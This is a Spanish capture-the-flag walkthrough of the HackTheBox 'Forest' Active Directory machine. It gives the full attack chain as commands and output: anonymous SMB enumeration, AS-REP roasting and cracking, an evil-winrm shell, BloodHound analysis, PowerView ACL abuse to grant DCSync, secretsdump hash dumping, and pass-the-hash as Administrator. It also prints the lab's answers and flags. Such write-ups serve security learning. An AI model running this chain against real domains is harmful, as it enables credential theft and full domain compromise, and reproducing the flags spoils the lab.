En esta guía
Herramientas nuevas que usa esta máquina: netexec, impacket-GetNPUsers, john, evil-winrm, bloodhound-ce-python + BloodHound CE, PowerView, impacket-secretsdump. La mayoría vienen en Kali (según la instalación). En esta guía la IP objetivo es 10.129.62.145 y la IP del atacante (tun0) 10.10.14.57; las tuyas serán distintas.
Resumen del recorrido (contiene spoilers)
DC · 23 puertos
SMB anónimo · 31 users
roast → crack → s3rvice
WinRM → svc-alfresco
mapa del dominio
ACLs → DCSync → PtH
Entorno y versiones documentadas
- Kali Linux y VirtualBox: versiones no especificadas en la guía original.
- Análisis: BloodHound CE; versión exacta no indicada.
Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.
01 · RECONOCIMIENTO DE UN DC
Ver solución paso a paso
▚ Dominio y Domain Controller
Un dominio gestiona de forma centralizada muchos equipos y usuarios bajo un mismo paraguas (la cuenta corporativa con la que inicia sesión toda una empresa). El Domain Controller (DC) es el servidor que manda: centraliza las cuentas, grupos, permisos y los secretos de autenticación (no contraseñas en texto claro, sino material derivado de ellas), y autentica a todos. Forest es un DC. Comprometer un DC es comprometer el dominio entero, por eso es el objetivo más goloso.
Barrido y detección
mkdir -p ~/htb/forest/nmap && cd ~/htb/forest
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.145
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oA nmap/detail 10.129.62.145ttl=127. Windows suele partir su TTL en 128 (baja 1 por salto) y Linux en 64, así que ~127 sugiere Windows y ~63 Linux. Es una pista frecuente en labs, no una prueba (el TTL se puede modificar y depende de los saltos). Aquí encaja con que AD es tecnología Microsoft, y se confirma con el fingerprint.Leer un DC de un vistazo
A diferencia de Cap (3 puertos) y Knife (2), un DC devuelve 23. Los 4966x/4967x son RPC dinámico (ruido). Los que importan forman la huella de AD:
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Puerto | Servicio | Qué significa |
|---|---|---|
88 | Kerberos | La estrella: el sistema de autenticación de AD. Es una pieza característica de la huella de AD; por sí solo no prueba que sea un DC, pero junto a LDAP, SMB y DNS la inferencia es fuerte. La técnica de Forest lo ataca. |
389 / 636 | LDAP / LDAPS | La "guía telefónica" del dominio: usuarios, grupos, permisos. Clave para enumerar. Permite anonymous bind. |
445 | SMB | Comparticiones Windows. Aquí acepta sesión nula (guest). |
53 | DNS | El DC también es el DNS del dominio. |
5985 / 47001 | WinRM | Administración remota. Con credenciales, tu vía a una shell (el "SSH de Windows"). |
El -sCV revela el nombre del dominio, repetido por todas partes: Domain: htb.local, FQDN: FOREST.htb.local, Windows Server 2016. Y una perla en el script de SMB: account_used: guest → acepta acceso anónimo.
Mapear el dominio en /etc/hosts (resolución de nombres)
Muchas herramientas de AD (sobre todo las de Kerberos) fallan si les hablas por IP: necesitan el nombre. Enséñale a Kali a resolver el dominio:
sudo sh -c 'echo "10.129.62.145 htb.local forest.htb.local FOREST" >> /etc/hosts'
ping -c 2 forest.htb.local # debe resolver el nombre a la IP/etc/hosts: es lo habitual en labs, no un requisito inherente de AD. Y un dominio por vez: limpia entradas viejas de otros labs para no confundirte.02 · ENUMERACIÓN ANÓNIMA
Ver solución paso a paso
▚ SMB y por qué el acceso anónimo importa
SMB es el protocolo de Windows para compartir archivos y recursos en red. Cuando permite acceso anónimo/guest, puedes preguntarle cosas sin credenciales, entre ellas a veces la lista de usuarios del dominio. Y conseguir esa lista es el primer gran paso en AD: necesitas saber a quién atacar.
Confirmar sesión nula y sacar usuarios
netexec smb 10.129.62.145 -u '' -p '' # (Null Auth:True) = acepta anónimo
netexec smb 10.129.62.145 -u '' -p '' --users # lista los usuarios del dominioEl --users devuelve 31 usuarios. La habilidad clave es separar el grano de la paja:
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Ruido (ignorar) | Grano (personas / cuentas reales) |
|---|---|
Administrator, Guest, krbtgt, DefaultAccount (integradas) · SM_*, HealthMailbox*, $* (cuentas de Exchange, autogeneradas) | sebastien, lucinda, andy, mark, santi, y svc-alfresco |
svc-alfresco salta a la vista: svc- = service account (cuenta de servicio, no persona). Son objetivos interesantes porque pueden tener configuraciones o credenciales débiles, así que el prefijo svc- justifica priorizar su revisión. Pero eso no implica por sí mismo que sea vulnerable a AS-REP Roasting: es un reflejo de "investigar primero", no de "asumir vulnerable".Guarda los usuarios-persona en un archivo (los necesitarás):
echo 'sebastien
lucinda
andy
mark
santi
svc-alfresco' > users.txt03 · AS-REP ROASTING + CRACKING
Ver solución paso a paso
▚ AS-REP Roasting
Normalmente Kerberos exige pre-autenticarte antes de darte información. Pero existe una opción de cuenta, "no requiere pre-autenticación", que si está activada hace que Kerberos te entregue información cifrada sin autenticarte. Esa información contiene algo derivado de la contraseña del usuario. Si la capturas, la crackeas offline.
AS-REP Roasting = solicitar un AS-REP de una cuenta sin pre-autenticación y atacar offline la porción cifrada con una clave derivada de su contraseña. El tooling lo llama coloquialmente "hash" ($krb5asrep$, hash.txt), pero es material cifrado, no una huella unidireccional.
Pedir los hashes
impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txtLos cinco usuarios-persona responden doesn't have UF_DONT_REQUIRE_PREAUTH set (bien configurados). Pero svc-alfresco suelta el premio: un hash $krb5asrep$.... Guárdalo:
impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt | grep '\$krb5asrep\$' > hash.txtCrackear offline
Ojo con el vocabulario: GetNPUsers devuelve el AS-REP en un formato que john/hashcat atacan offline, pero no es una simple huella unidireccional de la contraseña. Parte del AS-REP está cifrada con una clave derivada de la contraseña del usuario, así que pruebas candidatos localmente hasta dar con uno que descifre correctamente el mensaje. Se hace offline (en tu Kali, sin tocar la víctima, intentos ilimitados) con un diccionario. hashcat es lo estándar, pero en una VM sin GPU falla:
hashcat -m 18200 hash.txt rockyou.txt # falla: no OpenCL/CUDA (VM sin GPU)
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # funciona: detecta el tipo soloJohn lo rompe en un segundo: svc-alfresco : s3rvice.
04 · FOOTHOLD · WINRM
Ver solución paso a paso
Validar credenciales (buen reflejo en AD)
Antes de usar unas credenciales nuevas, compruébalas. Y verifica si sirven para WinRM:
netexec smb 10.129.62.145 -u svc-alfresco -p s3rvice # [+] = válidas
netexec winrm 10.129.62.145 -u svc-alfresco -p s3rvice # (Pwn3d!) = puede entrar por WinRMConseguir shell
evil-winrm es el "SSH de Windows": administración remota que da una terminal PowerShell con credenciales válidas.
evil-winrm -i 10.129.62.145 -u svc-alfresco -p s3rviceCaes en *Evil-WinRM* PS C:\Users\svc-alfresco\Documents>. Estás dentro del DC como svc-alfresco.
User flag
En Windows la flag está en el Desktop, no en /home. Comandos de PowerShell: cd, dir (el ls), type (el cat).
cd C:\Users\svc-alfresco\Desktop
type user.txt # -> 8a961daab9f55e5a4a4a738aa69b043405 · BLOODHOUND
Ver solución paso a paso
▚ ¿Qué es BloodHound?
Recolecta toda la información del dominio (usuarios, grupos, permisos, relaciones) y la dibuja como un grafo. Su magia: calcula el camino más corto desde donde estás hasta Domain Admin, mostrando qué permiso abusar en cada paso. En un dominio real con miles de objetos, encontrar ese camino a mano es imposible.
Recolectar para BloodHound CE (desde Kali)
Instala el recolector bloodhound-ce-python y registra su versión junto con la de BloodHound CE. El recolector bloodhound-python pertenece a legacy; si eliges legacy, usa también su analizador compatible. Este texto adapta el emparejamiento de herramientas; no acredita una nueva ejecución del laboratorio.
bloodhound-ce-python -d htb.local -u svc-alfresco -p s3rvice -ns 10.129.62.145 -c All --zip-ns es el DNS (el propio DC), -c All solicita todos los métodos soportados; la cobertura efectiva depende de los permisos y servicios accesibles, --zip empaqueta. Genera un .zip. Revisa los avisos de Kerberos → NTLM fallback y clock skew: el fallback no demuestra cobertura completa. Si la hora impide autenticar, comprueba la sincronización antes de repetir la recolección.
Analizar (BloodHound CE)
bloodhound-start # solo si tu paquete Kali incluye este launcher; consulta su salidaArranca CE según el método que hayas instalado. La URL, el usuario y la contraseña inicial se obtienen de la configuración o del resultado del bootstrap de ese despliegue; no se presuponen credenciales universales. Cambia la contraseña inicial cuando tu instalación lo requiera y confirma que puedes entrar antes de importar el ZIP.
En la interfaz, Quick Upload tu .zip, espera el procesado, y busca svc-alfresco para confirmar que cargó. En Pathfinding: origen svc-alfresco, destino Exchange Windows Permissions. El grafo:
Traducción: por su cadena de grupos, svc-alfresco llega a Account Operators, que tiene GenericAll (control total) sobre Exchange Windows Permissions, y ese grupo tiene WriteDacl sobre el dominio entero. Esta cadena permite conceder derechos de replicación y obtener material de autenticación de Administrator; no demuestra una membresía nueva en Domain Admins.
06 · ACLs → DCSYNC → PASS-THE-HASH
Ver solución paso a paso
▚ Los permisos que vamos a abusar
GenericAll = control total sobre un objeto (puedes, por ejemplo, agregarte a un grupo). WriteDacl = puedes modificar la lista de permisos (DACL) de un objeto, y así concederte a ti mismo nuevos derechos. DCSync = abusar de la replicación entre DCs para pedirle al DC todos los hashes de contraseñas del dominio, como si fueras otro DC.
Preparar PowerView (vía evil-winrm)
# en Kali:
cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 ~/htb/forest/
# en la sesión evil-winrm:
upload /home/iphobiuss/htb/forest/PowerView.ps1
. .\PowerView.ps1 # dot-sourcing: carga las funciones (silencio = ok)Movimiento 1 · Agregarte al grupo (GenericAll)
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco'
Get-DomainGroupMember -Identity 'Exchange Windows Permissions' | Select-Object MemberNameLa verificación muestra svc-alfresco como miembro. Ya perteneces al grupo con WriteDacl sobre el dominio.
Movimiento 2 · Concederte DCSync (WriteDacl)
$pass = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity 'svc-alfresco' -Rights DCSyncMovimiento 3 · DCSync (desde Kali)
impacket-secretsdump htb.local/svc-alfresco:s3rvice@10.129.62.145El rpc_s_access_denied inicial es un método secundario: se ignora, porque debajo vuelca todos los hashes del dominio. La línea que importa (RID 500 = Administrator):
htb.local\Administrator:500:aad3b435...:32693b11e6aa90eb43d32c72a07ceea6:::Pass-the-Hash · acceso como Administrator
No hace falta crackear ese hash. En Windows te autenticas con el hash directamente (Pass-the-Hash): en vez de -p contraseña, usas -H hash.
evil-winrm -i 10.129.62.145 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
type C:\Users\Administrator\Desktop\root.txt # -> 650ace87ec9847f97c3deb4b998ef61aAcceso como Administrator documentado. DCSync no demuestra por sí solo membresía en Domain Admins.
TASKS · GUIDED MODE
Mostrar respuestas del laboratorio
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Task | Respuesta |
|---|---|
| ¿De qué dominio es esta máquina el Domain Controller? | htb.local |
| Servicio que permite autenticación anónima e info valiosa | LDAP |
| ¿Qué usuario tiene la pre-autenticación de Kerberos deshabilitada? | svc-alfresco |
| Contraseña del usuario svc-alfresco | s3rvice |
| Puerto para conectar y obtener una shell interactiva | 5985 (WinRM) |
| Grupo que permite a svc-alfresco auto-agregarse a "Exchange Windows Permissions" | Account Operators |
| Grupo con permisos WriteDACL sobre el dominio HTB.LOCAL | Exchange Windows Permissions |
| Ataque para elevar privilegios con WriteDACL sobre el dominio | DCSync |
| User flag | 8a961daab9f55e5a4a4a738aa69b0434 |
| Root flag | 650ace87ec9847f97c3deb4b998ef61a |
CONCEPTOS NUEVOS (EL MUNDO AD)
GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.
- GENERALFingerprint de DC: 20+ puertos con Kerberos (88) + LDAP (389/636) + SMB (445) + DNS (53) = Domain Controller.
ttl≈127sugiere Windows (pista, no prueba). - LAB
/etc/hostsen AD: Kerberos resuelve por nombre, no por IP; mapear el dominio en/etc/hostses la solución habitual en labs (no un requisito inherente de AD). - GENERALEnumeración anónima: SMB con
Null Auth/ LDAP anonymous bind → lista de usuarios del dominio sin credenciales. - GENERALAS-REP Roasting: cuentas sin pre-auth de Kerberos (típico en
svc-) → hash conGetNPUsers, crackeable offline. - GENERALCracking:
johncuando no hay GPU; autodetecta el tipo de hash. rockyou como diccionario. - GENERALValidar y entrar:
netexec smb/winrm(Pwn3d!) →evil-winrmpara shell. - GENERALBloodHound: recolectar con
bloodhound-ce-python, analizar el grafo y distinguir membresías, derechos de replicación y acceso como Administrator. - GENERALAbuso de ACLs:
GenericAll(control total) yWriteDacl(modificar permisos) con PowerView. - GENERALDCSync: abusar de la replicación para volcar todos los hashes (
secretsdump), incluido Administrator. - GENERALPass-the-Hash: autenticarte con el hash NTLM sin conocer la contraseña (
-H).